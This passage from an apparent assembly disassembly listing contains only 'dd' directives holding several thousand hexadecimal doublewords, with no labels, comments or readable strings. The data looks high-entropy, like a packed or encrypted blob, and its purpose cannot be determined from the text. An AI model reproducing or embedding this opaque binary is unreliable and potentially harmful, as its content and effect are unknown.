272B09C9h, 8509FBA4h, 0FC68F2A1h, 0C1A0D211h, 0FE3071B7h dd 0F6245BF8h, 303AED6h, 8621C680h, 954FF2C6h, 777F57C6h dd 0C8B5449Ah, 30172270h, 58D9284Eh, 6E5F1EE9h, 170CB0E4h dd 0AF038532h, 652FA744h, 359402EDh, 0B20F1A04h, 412EFD15h dd 0AB442B08h, 6CB89C45h, 0C03EB080h, 0E8E608E0h, 5CF1025Ah dd 8C2F8CF5h, 690B4834h, 0FC5E5CD7h, 2B638107h, 0FC521DE8h dd 52B401B9h, 82203660h, 41F9902Ah, 0DEA63BC4h, 28A49610h dd 0C4B8B86h, 68575601h, 4BFC70D6h, 0A9709F5Fh, 12307227h dd 0FA75725Ah, 647EB7EBh, 0F5210165h, 9D7BD555h, 0B705EC58h dd 5B82A0BDh, 58BB7F3Ah, 2D7EA231h, 1C7D7A8Eh, 8521277Ch dd 78F02D46h, 0C456719Dh, 0CBC18068h, 4003586Fh, 9A357705h dd 27EE207Bh, 0F7208198h, 0E70439B4h, 0E8803232h, 3C63034Ah dd 685285C1h, 426F0428h, 0A5AB19BBh, 3C03EB2h, 97E32864h dd 0F93C84F7h, 687620AEh, 95B47CB6h, 6C05A948h, 0A282DB38h dd 0E0A4414Fh, 0ED82D00h, 857AB2Dh, 893A077Fh, 10C46486h dd 90545152h, 0B8694BC7h, 64EE5BA8h, 8DB213ADh, 0E902E6CAh dd 0ACE269D4h, 9D4973D8h, 729D0BC4h, 0CC6EA028h, 4976B7AFh dd 9502F8A4h, 57471D2Fh, 801266Ah, 358D48E9h, 0DEB57F0Eh dd 1DCFA8E8h, 3D89F52Fh, 0F2E4EB16h, 76252FC5h, 3EE06908h dd 0E3EF135Eh, 5B58BFFAh, 21305797h, 0E9D7509Ah, 0C411FCD0h dd 51B02786h, 0FE958D58h, 5C7552D2h, 192C056Ah, 13B40443h dd 0C4B9FC79h, 0B7169817h, 103E4C72h, 0E85B88FAh, 0D0680B46h dd 0C98D3047h, 0AE415E42h, 0A1C20C35h, 0F71BC826h, 0A0C1B0D5h dd 3047F585h, 1907F4Ch, 2079FE22h, 0E9EFD11Fh, 0C5F4B757h dd 82991669h, 6347FF81h, 7F0B6D62h, 0ED0406CCh, 312744EAh dd 2DAC60EBh, 30507354h, 0F4EA5A6h, 64AF9D98h, 0EE2D1220h dd 662945B0h, 805918D8h, 45B27395h, 0CA2AE5Ah, 5ADA6B1h dd 8A7CA004h, 0A7128EEh, 54A964F1h, 0FD515A2Eh, 749BE08Bh dd 4C094F34h, 0BE040758h, 851981C9h, 3487BD80h, 2905244Eh dd 9108A0BAh, 0FDC00DA1h, 2776427Fh, 0F65CEB58h, 0FDDA3182h dd 0E13B6A04h, 0FED9D3D1h, 0A16A689h, 7F8A0818h, 0AE428276h dd 0C7C109B3h, 1EBE3326h, 9A8C5E5Dh, 9683D92Dh, 1C752F19h dd 0E60B7ECh, 0C7AA1B0Ah, 0D6D4E1ABh, 1D9CDD69h, 6840B690h dd 0D0CA02FEh, 35B151EAh, 9D1294C1h, 0C98F2806h, 0E81C36F2h dd 0B158CA1Bh, 5B026E3Ah, 19AD1CDFh, 0B4E68BE9h, 4878D856h dd 7401A695h, 252B0D7h, 0D952B9C3h, 325F31D3h, 0F2F8DD7Ch dd 0A0627620h, 8053659Ah, 0AF1C255Eh, 9A7D387Fh, 5F16CF8Dh dd 59954F58h, 0B6890B2Bh, 4EA9F0A3h, 8E560A43h, 0DCFEF64Fh dd 4E5F8E94h, 0EA8008EDh, 0AE1C40DBh, 6B6BA79Dh, 32262099h dd 805FA24Bh, 0CD307B65h, 60110C03h, 0F8775FC5h, 19F68007h dd 0CEC95171h, 2FA7920Ch, 58E6C113h, 309A611Dh, 4D2827B6h dd 0EE05D810h, 60356184h, 7C81A3A8h, 2E0DF5D9h, 0E9F420BFh dd 2B9A6632h, 0F1EE81EDh, 50415C38h, 0E1A6BC2Ah, 413FBEE9h dd 2A16CBCDh, 0E37482B2h, 41A61486h, 0D2D37Dh, 185CBA66h dd 31A6F8B7h, 140B0B63h, 0D5CA0161h, 0F109E9FCh, 885C3084h dd 1AADE2CFh, 574980ABh, 29A1D963h, 51873BC3h, 1F441076h dd 6E5312EFh, 0C5113705h, 5DCFC220h, 1F9CC57Fh, 0E7125468h dd 0E40555CFh, 703B99Bh, 4CF0083Bh, 20188CB7h, 43120AB3h dd 0FA4102Bh, 27494990h, 730003D1h, 1CBF7B7h, 0C2ADA1F2h dd 256F9D30h, 43706A70h, 2674CF09h, 0A068D661h, 5ADB9E08h dd 24457961h, 0DFBE555Ch, 18DBE8EEh, 0EA5B0C81h, 5A1D4160h dd 953C7E68h, 39DF2B92h, 8D2E56B6h, 55A480A6h, 81275747h dd 105F28E1h, 0D1F731FCh, 0E93C9810h, 0F1EE8178h, 19B21A53h dd 14C6EC3Ah, 1BD15DE8h, 2739A15h, 9BA9B8FCh, 0FD48249h dd 0C11F511Fh, 52E9CB82h, 804ED77Dh, 0AFD02EF5h, 0BF56E6E9h dd 6E867AE8h, 0F64C139Fh, 0FAEAB5C1h, 0B7CB9E7Dh, 0FFCB71D6h dd 4CC2EA48h, 439F8082h, 0AAB97D21h, 0A494D9D7h, 8DE712B7h dd 0D0F6D07Ah, 0D0986CFCh dd 58C53013h, 0BB5A25AAh, 0D530971Ah, 0F28105C0h, 5733DB0Bh dd 0BD1F05Dh, 0B361708h, 6504EFDCh, 0EBC1539Eh, 91818F4Ch dd 0DA2F3AC3h, 0A554AC1Eh, 16584267h, 1C8A445Eh, 0C1AFE899h dd 6A1F6853h, 40A1CA34h, 79D5A36h, 4024292Ch, 0B4E41A88h dd 0BF7E2DA1h, 0B816027Bh, 3A8C0D2Ah, 0DC57D4E1h, 72916E06h dd 0F485C602h, 0E19F60D3h, 0FE5F827Fh, 0F8E86521h, 8EEA979Eh dd 90512DD0h, 81503E68h, 4F5C605Eh, 0D7951170h, 5C4E5A9Ch dd 87A91044h, 0D81A7B1Eh, 0E55F0C4Bh, 6F0819EBh, 5084C2B9h dd 1E5BE0D1h, 268C964Bh, 77013ABh, 852CAE27h, 4C2904EBh dd 0A053F455h, 67128C4Bh, 0AC0A0AB9h, 0A42407F1h, 0F34E2E11h dd 93E340FBh, 0FDF316D6h, 0A7BF247Bh, 58C68B1Bh, 0E982EB77h dd 0A82A9896h, 97EFB73Ah, 9E539E4h, 23C9225Ch, 40FB6685h dd 779EDEEh, 0CC14801h, 57C540B2h, 0F140200h, 2063740h dd 0E986D3B5h, 81DA7519h, 0C318B40Fh, 0BDF76527h, 178DB2BFh dd 0E4805785h, 9F137268h, 0AAF19D18h, 3FEA7DC0h, 0C7113742h dd 6B695F0Ch, 6D90E15Dh, 2606175h, 0ABC35807h, 317BAF0h dd 915C9B24h, 66376801h, 0CD2F6BA4h, 25D87EE5h, 2489B529h dd 1C2DC845h, 0CD025FBFh, 0C0AC6AD1h, 79D44C4h, 0CE26F131h dd 7FDAB008h, 0D48082ADh, 685946C2h, 8D4A8BFh, 0F71E603Dh dd 0FF37F178h, 0FBF5060h, 16F3500Bh, 4212C7C0h, 549D0E6Dh dd 4016B014h, 384F86FBh, 2B3A04ABh, 7AF3E563h, 0FA52F063h dd 439149A4h, 7343EF2Ah, 0E1C0B374h, 0A260DF01h, 6177BE36h dd 60642E31h, 169D16AFh, 430549BDh, 0EF03904Ch, 1DD251B2h dd 18580E1h, 0C160AF04h, 0C53DC027h, 5E686726h, 2D5F728h dd 0CC7DDD90h, 20848482h, 55F61A0h, 2254502Dh, 29E80105h dd 157FA170h, 66890604h, 518DBD00h, 2932235Ch, 46C8AEEAh dd 0F1BB00A5h, 2D447C1Ah, 0FE2F3EBEh, 80D3F851h, 4E925B07h dd 0E93D8058h, 5CB7D6DEh, 577276h, 7D1D769Ch, 41659862h dd 52007FDFh, 46C33774h, 76819DF7h, 0F6B09486h, 0C2524857h dd 0BFE7122Eh, 4E0AE818h, 8290C9B8h, 58E0810h, 40F9684Eh dd 5BB1D8BBh, 74346648h, 8FAB674Bh, 7645F6Fh, 0FA0599C2h dd 20494100h, 6814D6C5h, 4FA119DBh, 6BACDBC4h, 0B34502E2h dd 0E90B3CA3h, 51E2C040h, 0F6F51688h, 0D94ABD5h, 49439700h dd 5B29732Dh, 202F29EFh, 4339E21Eh, 2FE916C8h, 0F5D1B3B0h dd 0CF6FA41h, 0B2C1592Ch, 0A45BA729h, 0A129A49h, 0F388D7F2h dd 4961C10h, 1C9DBA88h, 6A35F82Fh, 27BE06A2h, 82C9F65Eh dd 160BB8Bh, 28E8E954h, 1ABF0244h, 4179FB1Fh, 0FA2BC9EAh dd 48B41C21h, 20DD0101h, 1A9F0560h, 0C267561Ch, 1C7DD919h dd 0BE42B54Bh, 859DD5Ch, 0B080DE53h, 5BC8280Fh, 0FF1F859h dd 20923498h, 560458C1h, 0B0B23F52h, 0C280CA0Eh, 0CEEAC007h dd 125719DEh, 1FD9663Eh, 0C48CA4B4h, 0EC370611h, 0C0E30FCCh dd 0EC8708E4h, 5E205F9h, 0A7FE179Fh, 2E064C76h, 190556DAh dd 0C201F529h, 35252FF1h, 9803FB60h, 64A50763h, 378136CFh dd 6558E29Ah, 976F2D5h, 342F0B78h, 4881D07Ch, 99E0E1Eh dd 0CE908647h, 485B7D41h, 20052528h, 0FE102443h, 0AAAC43C5h dd 8F05F600h, 0F501E68Ch, 0A8E92Fh, 0CFDEBD00h, 221B5981h dd 0BE549A12h, 68172CF2h, 0AE196477h, 28A613B2h, 0EAD659BDh dd 93E10DAh, 5ACA60E9h, 3B850F38h, 0B166F7BFh, 0EE05177Eh dd 3E325D47h, 1840D4FEh, 43EC1C08h, 0C403634h, 0C2CDD4EFh dd 0D50BCBD3h, 957F8C05h, 7D38EB83h, 0C55E4489h, 0E14A9705h dd 0EAC45B3Bh, 1F6EC3FAh, 437C2A81h, 7A98E2D0h, 0E9354709h dd 88BFB921h, 0C5BFD637h, 0AC25BEFEh, 475FB789h, 0A8142766h dd 616AE939h, 0C786834h, 9753A23Bh, 0D1A638BEh, 0B9598597h dd 16646387h, 0F1699CFAh, 0F9119D04h, 0EE2114h, 7D39F63Ch dd 0E92525ECh, 0FF2F4261h, 0C63D2670h, 844EF2D0h, 0F43A6CE5h dd 1F0D68C4h, 446D5A2Fh, 0DD2B23F0h, 8F3F490Eh, 6120E352h dd 0BB949D69h, 0AB011B0h, 0D2277E25h, 0E90809F2h, 644B4AE3h dd 786A3FF0h, 4F0A6817h, 0FF0291F3h, 291EE83Ch, 74C1E642h dd 0EB37807Ah, 52A468F0h, 4E38F859h, 0DF67B805h, 0FE166F4Bh dd 0C7D57AD0h, 845C452Eh, 4C224B6h, 0BB921A8Ch, 2CAF1B75h dd 27B7B83Ch, 5A76FB2Dh, 92F2B51Bh, 0B48E970Fh, 5C4CA9A3h dd 844B8AA7h, 0FA3109C2h, 0AB010C04h, 0EBE24467h, 28B2555Ah dd 0DCCC61h, 0BD5FF929h, 0E1259E96h, 0D7F2924Ch, 42685D81h dd 0CC8C2F64h, 0D803131Eh, 752014Eh, 2A52D687h, 0E90CAFADh dd 0B1ED8333h, 0EBADF5Bh, 0C16209A9h, 0F9D530DAh, 0DCE989D8h dd 9BAA8C7Ch, 1729100Fh, 60C8AB3Bh, 0B819BF1Eh, 94605CA3h dd 4061528h, 0CB5FA6C3h, 27500103h, 0C13A470Bh, 468AA33h dd 2D0385C5h, 0AD617AF9h, 7BDAC700h, 7451141Eh, 2500BCE9h dd 828D46DDh, 97A9F7AFh, 2FCD77h, 3B7DB951h, 490927C0h dd 0BBDDCFE9h, 7006D22Ch, 0B6664A35h, 0B0586551h, 86A1ED04h dd 9F02560Bh, 0CB51277Fh, 43678880h, 12E2816Ch, 0EB01CFh dd 0C670EAE2h, 895FBDEDh, 0BA198BB9h, 0AF506ACCh, 77AB4254h dd 453A4FC0h, 892BC217h, 0ADD633F2h, 2640507h, 0A4ED180Fh dd 0B37A6DDFh, 6C4EF704h, 8EC021BDh, 12395F17h, 0EAFD013Dh dd 5540A38Dh, 0BD4362B6h, 51E6A90Bh, 5E0BD727h, 734D103h dd 0AF122644h, 9701F4E0h, 0F7E09559h, 1313900Bh, 34835CE9h dd 44EE042Dh, 0D65D0973h, 0F3090916h, 4E196F7h, 0BF1739CBh dd 0AC39E073h, 404ACF27h, 0B77C0846h, 7830039h, 0E7E8AFE5h dd 6394BB02h, 2F5D4F19h, 0C17BCBD5h, 3F255E6Bh, 9D25C7FCh dd 5F7C0C89h, 39B5CA81h, 0CA802F0Dh, 0C030064Fh, 498D329h dd 4E285141h, 6DE89771h, 61829314h, 6930E8EAh, 8A734FF7h dd 33F85F1Eh, 5292E9E3h, 64487848h, 15287C3Dh, 2F0D199h dd 86FA79C5h, 0B30D04Fh, 0C9E95755h, 0DFD3E4D8h, 64615EF0h dd 0AB5934ECh, 4026F9F8h, 1A01A464h, 9ED01DABh, 5BBAEE04h dd 0F9F01276h, 79689F31h, 0EF2D64A4h, 0F2B25A1Dh, 9D5E376h dd 13214C60h, 0FEB67753h, 75960660h, 0D0785FD5h, 90EABF0Ah dd 0F101C810h, 5B893031h, 70F46F29h, 0DE74BF43h, 0E5E7D7D2h dd 27AAD4A7h, 0BED36F55h, 0AFF32C40h, 0D304FD1Eh, 0E604AE0Ah dd 8DEEECB4h, 87C16A5Fh, 16BAE1C7h, 0B99F35B2h, 10444FFh dd 0AC6F38C2h, 30CA2901h, 5F166533h, 0C1377CCh, 70848FAh dd 83DC3803h, 592A38E7h, 6021B2D1h, 0FCE1122Eh, 9E98F60Bh dd 4B12F1h, 0A973FB51h, 0EA58C13Dh, 89462FBBh, 3546F78Fh dd 6669BBF8h, 8D597758h, 2F997C49h, 0D1145Fh, 21BB850h dd 0E70D4009h, 4F054D07h, 0D027D8F7h, 0BD6F5C60h, 3B24F64Bh dd 0DAE6A44h, 261B286Bh, 0BAD296E9h, 0AF09FA5h, 1667BB7h dd 5B4E59E2h, 9EF2D84Bh, 14DF5418h, 2856CB0Ch, 0BA11FCCh dd 43E2088Bh, 88010CF9h, 0C3045BD9h, 0E82CC8C0h, 58DCF559h dd 3EB12E68h, 0CDB46330h, 80E8E383h, 0D07601EBh, 66697997h dd 0CA582059h, 81E91670h, 0B82A23F1h, 52C7B160h, 5C3E1135h dd 5325C217h, 1401C30h, 0A050402h, 57B6E91Ah, 0A47E81C9h dd 659F5EFFh, 0D368848Fh, 89C2A61Bh, 8064E45Fh, 2C29D48Ah dd 8B7AEA07h, 1B75762Fh, 0AEEC9C7h, 1C209772h, 197C7E2Ch dd 0D3F75B04h, 0C327D6A8h dd 565F87E0h, 0C1BF5702h, 0E01F027Eh, 25A38793h, 85E8F548h dd 56958222h, 0A568C119h, 0C3DF2B4Bh, 49685105h, 0CB9F4412h dd 2F4A0964h, 8484F559h, 6FC3BD55h, 76BFB0BEh, 0AD3B2659h dd 0A5D02605h, 2D19E7FFh, 0DC5A9B75h, 0E81A05F2h, 4CC2E55Fh dd 0AC1C2F70h, 0B6805052h, 8CF68072h, 5AF42D88h, 0CA82A0F6h dd 574F17E9h, 9A42235Ch, 0EE3077B8h, 0C789B1CEh, 5FF950F8h dd 418EAD27h, 0CF972008h, 2976050Bh, 3084D83Ch, 7EE807E7h dd 4007B73Ah, 84BB5345h, 92872A0h, 455B58DDh, 0B36A7113h dd 0DB213E61h, 5B01E144h, 64F48002h, 0CAC3E8DFh, 58E63230h dd 0DC77F5C8h, 83020DFEh, 0EE8FBA9h, 0ECF642F2h, 98A57D4Ah dd 4B56ED6Fh, 0DA8CBEAh, 2160B0E9h, 44D7FE64h, 84CC5A9h dd 0DD352561h, 90B52E84h, 52F928FBh, 0FBB7530Ah, 0FE0EBDB6h dd 5AF1055Bh, 0C27D64EFh, 0F6209865h, 5BC94708h, 198CF94Ch dd 0BB864EE6h, 5A5EE83Ah, 0B3710FE8h, 0CC680130h, 7A7A79D4h dd 56F07445h, 0E9BF60AFh, 5D821753h, 0B1568D42h, 275A42h dd 0C3289CB0h, 89D48EB7h, 48638603h, 9AF30A9Dh, 8997B0Bh dd 7525A6BCh, 5C132ACDh, 7F52FB22h, 0C921328Ah, 0C7DD4F42h dd 8B011697h, 0CAFB4A1Ah, 0A21F5889h, 614A13C4h, 2779BFA0h dd 1DA0263Eh, 343364B5h, 5D3DE916h, 0BAD329BCh, 8958AE91h dd 79F66Bh, 2633F781h, 5F011827h, 0C520AAFEh, 97C747E9h dd 0C991935Dh, 85741D97h, 45509DEEh, 0E976528Eh, 198E8E5Bh dd 0ACBA2C4Ah, 24887340h, 2D83875Ch, 70092BF1h, 97367342h dd 3C89BE56h, 7666B17Bh, 0F2889362h, 4EAD2F68h, 4382D0F1h dd 750A764Ah, 6269743h, 5C02EC03h, 7F4EC948h, 0D69D5F44h dd 0B1929657h, 5046FC3Bh, 3722777Dh, 0DA8824D8h, 259928D4h dd 0F15C4E7Eh, 68C80FE0h, 8C125B46h, 3E41FB85h, 0B513CBF4h dd 615B2446h, 1DAE8C95h, 3B0E2C42h, 5FBD59BCh, 5B20058Bh dd 973EC07Dh, 0EFA597E7h, 2EB3A1F1h, 5FED945h, 53017AE7h dd 3E519E68h, 0A2720h, 0CF1AF7C3h, 56E3E902h, 68091D08h dd 1FF66A6Dh, 6424B60h, 0DA01290Ah, 82EA8126h, 6A5F155Ch dd 81353D4h, 47B34F01h, 54DA764Ch, 0BAADBE07h, 0D1019B59h dd 130D68EEh, 8EC43754h, 0E95380F5h, 0BE03D3C9h, 965558D7h dd 0CC453227h, 24A2E01h, 0E1404234h, 7A9676B8h, 4B681330h dd 21AC8C01h, 673A2802h, 0DD58D5E9h, 0D677C11Ah, 0B16ACDFh dd 0A88003EDh, 51B739E2h, 250EA3B8h, 744D04h, 2C05E52Dh dd 0E9570B78h, 0D1E73BF0h, 7F08A726h, 0FB78803h, 5A5DA430h dd 0D14F3B97h, 0AFC44465h, 2E29C312h, 129AAC00h, 0D4705B08h dd 5D080107h, 228F0BE9h, 4F8BD1C9h, 252B28D9h, 343909B2h dd 505ACA4Eh, 0CA5EB8B7h, 0AC523193h, 0F92A829Eh, 9C4599BDh dd 0BF3D80FCh, 0CB215AECh, 0AE98956h, 4EB9BB60h, 312C3A12h dd 52F037EFh, 0BF5006E9h, 0DAEE07EAh, 23B5A15Bh, 0B1CC1BF8h dd 51D3033Fh, 30E16E85h, 0BD1681F0h, 25433962h, 0B9030DE8h dd 6C0202C2h, 0F2617B5Bh, 80443C56h, 62B8EE81h, 0D0075D7Dh dd 0B2E63727h, 6DD35C28h, 9F71344h, 54568D2h, 0EB5280B1h dd 49B360B0h, 1224CD90h, 12A7FF97h, 0F7FF897Ah, 10803E29h dd 0A98639EAh, 46CE5777h, 2A6F0393h, 5B28EBE9h, 0A16D905Fh dd 604C8A67h, 0B7BD20FBh, 4F5F6D09h, 9C5BAEBFh, 965BA5CCh dd 5ADA942h, 9290005Dh, 9791352h, 732FF57Eh, 0B741E4FEh dd 0CF27746Ch, 77E2B2B5h, 0DC5D8562h, 7ABA569Ch, 0DC9D4A98h dd 0D9C83FFh, 8A056891h, 2DFD5451h, 6FB7D502h, 3DC0FDF5h dd 504949E9h, 0E12F19h, 104583E4h, 5B1A11Ch, 921F82Bh dd 0E120ACC7h, 0D235E8D9h, 391BCAECh, 14FED23h, 3A8E38CCh dd 0DD5890D5h, 4C745E5Eh, 0C33761B4h, 3D2CE50Fh, 0ABD06932h dd 0F051F096h, 6EDA3018h, 0BA26510Ch, 7729A127h, 0F0826016h dd 0BB00B576h, 616D60AAh, 0AEEB6EC1h, 0F0439E61h, 360C8207h dd 414D7340h, 4292233Fh, 0F6970141h, 9F1DF0F7h, 6C5C5524h dd 0A2CB014Dh, 0DD590802h, 5003BAA9h, 1E7A3A12h, 0A7054D3Ch dd 99C7575Fh, 12E751A7h, 947F21D2h, 685D003Bh, 0ED5F4A93h dd 4E249133h, 585B48FDh, 0EBE99608h, 72BBF45Eh, 0F1CAC7CEh dd 0C948FE5Dh, 556BBF7Ch, 0F92F3664h, 205A665Dh, 0D981DEFh dd 500C104Dh, 5B5ED8BEh, 33D6FED0h, 0EBEEC062h, 7FDB1183h dd 0CD0EA0C1h, 0B13B2A26h, 0F416B1Bh, 181706F2h, 0E9127A29h dd 59A78121h, 32AB2E29h, 448258CBh, 0D9D7F5D2h, 0BE5C6476h dd 0E9091A8Bh, 0AAB8DF5h, 0DA9D6578h, 0C30E347h, 481E1F4Dh dd 9DFD373h, 0ECB03AB8h, 20241DB1h, 0B3006202h, 0E97DBC70h dd 4B7F4B75h, 470777FAh, 1E816F39h, 735AC370h, 3D524B68h dd 49962B01h, 2E623275h, 2E300841h, 16B5BE9Fh, 25748A59h dd 26354551h, 145F5A80h, 21FE9F01h, 0BF574A54h, 0EE48799Eh dd 0C2A82024h, 0F50B69B0h, 0E1DC3589h, 0D3A92964h, 0D03FCC00h dd 384DE97Bh, 2BCD77C7h, 681AA760h, 5F5D66C5h, 0B8050BD0h dd 31120A1Eh, 8D39D1FFh, 0EA3B9758h, 907B49EDh, 0DFA2BF49h dd 9BABF212h, 75C109F7h, 6DC2C40h, 4D605B72h, 3BCC600Eh dd 9FE9734Eh, 0E780C001h, 1EFCC92h, 0C68306CFh, 4F4C7265h dd 279EED05h, 2FA8F62Dh, 68C12BF4h, 812823E3h, 0DA738EC0h dd 1F2FE951h, 0EACDDAA3h, 0E5599F36h, 7C41246Bh, 6B40112h dd 3A1B9779h, 841E9ACh, 955E0CA7h, 0CFFF5A97h, 5EE05CA9h dd 0B9616289h, 0F07B1AA7h, 0DCADF76Ah, 6A2C0B1Bh, 0D54970F4h dd 0D7D260B8h, 74E01ED2h, 987A7192h, 13914AC8h, 75B3BE1Fh dd 0D8393385h, 0CDF2B3B2h, 0B7D02A4Ch, 0B2AAE935h, 395DC956h dd 0CE226CE4h, 59A8E126h, 0BC352ABBh, 0B84F1CEDh, 716E4CCEh dd 38176110h, 20121C3Dh, 0CEFCC069h, 43276389h, 88687457h dd 0F4279FCAh, 923045DCh, 0F5C45DCBh, 8B607695h, 0B9F7AD9Dh dd 4386BFD1h, 0C11B2D68h, 9089EA27h, 957AB616h, 0E711857Fh dd 4ABB6982h, 16505666h, 25DFB8F8h, 7A475D5Eh, 719DB72Ah dd 0C23CC54Ah, 6076680Ch, 65D160D2h, 4DA7C1C0h, 4303272Ah dd 0EB7BE7C6h, 6D578E5Fh, 5FEA98BEh, 744FE970h, 0BB006DC9h dd 4CD17053h, 0B23A9745h, 0B23E5F18h, 38163688h, 0C1EA4750h dd 7F3544FCh, 0ED50759Ah, 80C08273h, 0B6017C15h, 0DA84B85Bh dd 937F69BDh, 0FE903265h, 0C527016Dh, 9284758h, 0F409834Fh dd 6EC07075h, 54015450h, 0AD8970E4h, 0F84FC4Ah, 5360CF81h dd 5DE942B3h, 8B90E25Ah, 7BFBD245h, 1DE4EBCh, 397D2D7Fh dd 0EBCF4047h, 6A2D558Fh, 0E7085D54h, 40F52808h, 0EC48086Bh dd 0E4C01792h, 0D9E4371Dh, 0FDDB5362h, 0F51F9ED9h, 8B39DFCFh dd 0A58B0254h, 0A583739Dh, 7E42A6F4h, 53715D37h, 4D396841h dd 29B1522Ch, 98F26BD7h, 7177E9C2h, 0D0B36068h, 80CBFE07h dd 0A8D531F3h, 0A86EEAA1h, 4B08B65Eh, 29CBFE68h, 64590500h dd 0D0296012h, 2A072D51h, 0E8759744h, 71E4BD03h, 79053A80h dd 0A2E7216h, 0EBF302A0h, 6B895901h, 0A07B85D0h, 0B1F95A01h dd 89B03AC0h, 0C8434A82h, 7C17AC3Bh, 0A3804677h, 0C1D40E3h dd 0D3F76E43h, 412CC910h, 0EB13EDDBh, 0CA6DD200h, 0B7A257E9h dd 65A57B73h, 12FBEA97h, 0AB24AA1Fh, 0B9C9DDE2h, 0FCAF0FD6h dd 88602839h, 602047EEh, 197B0681h, 0A4A4216Ch, 3173E917h dd 22C5B92h, 1F4939B1h dd 0A7403E99h, 0F3502DEAh, 0F2CA972Fh, 97FE0809h, 0C2065628h dd 28A511FFh, 890D014h, 0E52BA54Ah, 0BE52D2Eh, 0E0E47C1h dd 0B841A146h, 0F03AE4F1h, 2A413E6Fh, 3DEBFB40h, 6D685891h dd 60E00810h, 4656E47Eh, 0AAC9018h, 15637561h, 7C8B3F9Dh dd 0BF8054DFh, 2853BFB4h, 0E8A9895Fh, 8B1DFC92h, 91A1608h dd 6B226855h, 0A3809879h, 0D15B251h, 4A0B022Bh, 26C5E92Ah dd 569F7F67h, 0CEB658CBh, 41DFF6DDh, 0CA413E89h, 73917D36h dd 0BF87A3F4h, 331575A0h, 29451B37h, 0F75B0802h, 0AF5840Bh dd 5A185E8Fh, 1E53AD64h, 533DBFBBh, 8B12002Ch, 500A5474h dd 7BF0B804h, 0C0BB7834h, 25A9E940h, 0E5D185C9h, 9C7F2F10h dd 0E90DC4E7h, 2B3EA1CBh, 0CB2E05DDh, 77ED5F2Ah, 0F4546E13h dd 0AF124407h, 45FB8EBCh, 0AF667495h, 8F414C8Bh, 4AC4BC2Fh dd 662F3D04h, 21865209h, 7B4158A1h, 0EA1B902Bh, 1E606B9h dd 0FB09E2ECh, 5F1EC740h, 0BF6292A0h, 0E913ED39h, 0EF92186h dd 0D218B8D2h, 29E98E03h, 0C5E64F6h, 0EE44B431h, 5D6F3F09h dd 630AD12Ch, 292F88A0h, 9A925EC6h, 0E2DD405Dh, 153BCEF9h dd 7F501A68h, 0BD145425h, 248E535Ch, 4700A431h, 435DEB89h dd 164BE9h, 685954DDh, 57B93C83h, 98325793h, 0BB1DC5Fh dd 65D9D901h, 9C03C56Ah, 0F86A8736h, 7668C1F1h, 0E340BD30h dd 0A983E38Eh, 59623479h, 0FBAFB004h, 0C933D146h, 1CBB006Ah dd 4A05733Dh, 516C8050h, 0B83E5A4Ah, 8B47246Fh, 2D4F4C13h dd 396CF281h, 4866B55Ch, 0B53AE912h, 5B7864B2h, 0BECDC0B1h dd 38E4344Dh, 8B5FBF4h, 2124B5A4h, 0E5AF6918h, 0D301296h dd 7FAD004Fh, 1139E97h, 0FC04A4A3h, 2C264353h, 0D0F0ECEAh dd 4EE580Bh, 0D1B0822h, 22AB0AEh, 9109E913h, 0D403839Dh dd 4633E9F7h, 12DB8320h, 9013E3Bh, 35D2C8EEh, 7FC7D20h dd 454EB80h, 281E2191h, 3C812FD8h, 0AD3A3D0Bh, 30A297F4h dd 4E14A812h, 0DCE4FBDEh, 0F28CBA47h, 0AF1E5408h, 56F90CCFh dd 0F7F87CFEh, 5C643C09h, 25918019h, 80115036h, 1F69F4B5h dd 373850FEh, 0E49FBC91h, 5BB4815Ah, 9C197928h, 0C280FA07h dd 912CC1DFh, 0C884D028h, 88A07FE9h, 7378F673h, 0FC70ED27h dd 1AB9C0BAh, 0D0BD4E2Bh, 78516CFh, 0BA481731h, 17349642h dd 4E2F8F3h, 4BE95556h, 52C49538h, 608AAF00h, 0E83A897h dd 174E6BE9h, 0FCB839FAh, 8C9C9E46h, 0BB69C781h, 7492AF87h dd 0AB275231h, 3D1C21CAh, 63FC2F07h, 67DC55Ah, 9D572DE9h dd 43A96804h, 99AF4B35h, 0C17F6CD3h, 635A5FABh, 16FB6530h dd 0B04DDD5Bh, 742FE9DEh, 0CDFD276h, 7CEC5D03h, 55136DF2h dd 1EA444D8h, 2E5305DFh, 25F131B0h, 7DB90135h, 0C8EC68C8h dd 1B976E37h, 0E9280921h, 987F7118h, 0E4AAF355h, 3EB06937h dd 14240CAh, 2B904C72h, 7ABCA7EEh, 7E1C001h, 9970B753h dd 0B449963Bh, 3D45C05Eh, 121EEF59h, 6949A02Dh, 6A0CD794h dd 36025EB8h, 53E93A72h, 0A798773Ch, 0D27A1B92h, 9249593Fh dd 0CEE467E8h, 273BB475h, 80133C7Fh, 803E8770h, 152C58BEh dd 0F11FB1DBh, 94F02212h, 5B9309B9h, 4AD608A2h, 742D1924h dd 2CE986D2h, 5A4B2678h, 8A5335BCh, 0F3C80150h, 0A8984057h dd 81974AE9h, 40D8299Fh, 0AF761FD9h, 0B5AD0B4Eh, 5DD4E816h dd 7E0A896Ch, 5871A5Eh, 0EA4C894Dh, 9D4B707Bh, 7FFA2FDEh dd 7AA67D97h, 493271A7h, 20BD8E8Dh, 0DF4DF5D7h, 0F8881C5Ch dd 5B2CD6A8h, 0FB080D66h, 27B902A4h, 34605C1Ah, 4104DEC1h dd 0E1D10DA7h, 5E2EF080h, 0E3245F5Dh, 0DA0C606Dh, 9D824285h dd 0B8756E8Bh, 4125E942h, 751C3A3Ch, 60F0E1DCh, 5E20DD2Bh dd 2E07A153h, 572762AEh, 29FD84E2h, 98F3E476h, 0C5792022h dd 0A00CE0B7h, 44222527h, 0CC01ACF0h, 50D705ABh, 4A24E889h dd 522C4A8Bh, 0DC92BECFh, 0F36D405Ch, 3BB68030h, 1FB15103h dd 0EAE0F180h, 495D61Bh, 1E468468h, 0FD6F5D9Ch, 1DA6D128h dd 58E544F4h, 0A7E5FA5Ah, 1E2C0130h, 0D39904A3h, 0DDB4D363h dd 5EFEBE13h, 0E9C3BEB6h, 220259E2h, 62232BFh, 34FF82Fh dd 30AC6852h, 701901B6h, 2D8E7AECh, 26A8B57Bh, 600127EEh dd 48AE3830h, 62185F0Ah, 7715D335h, 8097D288h, 370BC281h dd 8070F64Ah, 0A41F11B9h, 9739009h, 7EE8144Ch, 0E92762F0h dd 90EE55ADh, 8FD276F6h, 0F92AA0EAh, 90780AD8h, 0BC2FE139h dd 0F280B1EAh, 0A5C5FDAh, 0CCADF651h, 1A1AAFC2h, 58C1AF68h dd 2DBB3AE1h, 0EA329D1h, 4705E268h, 71D98B52h, 0BEB36F89h dd 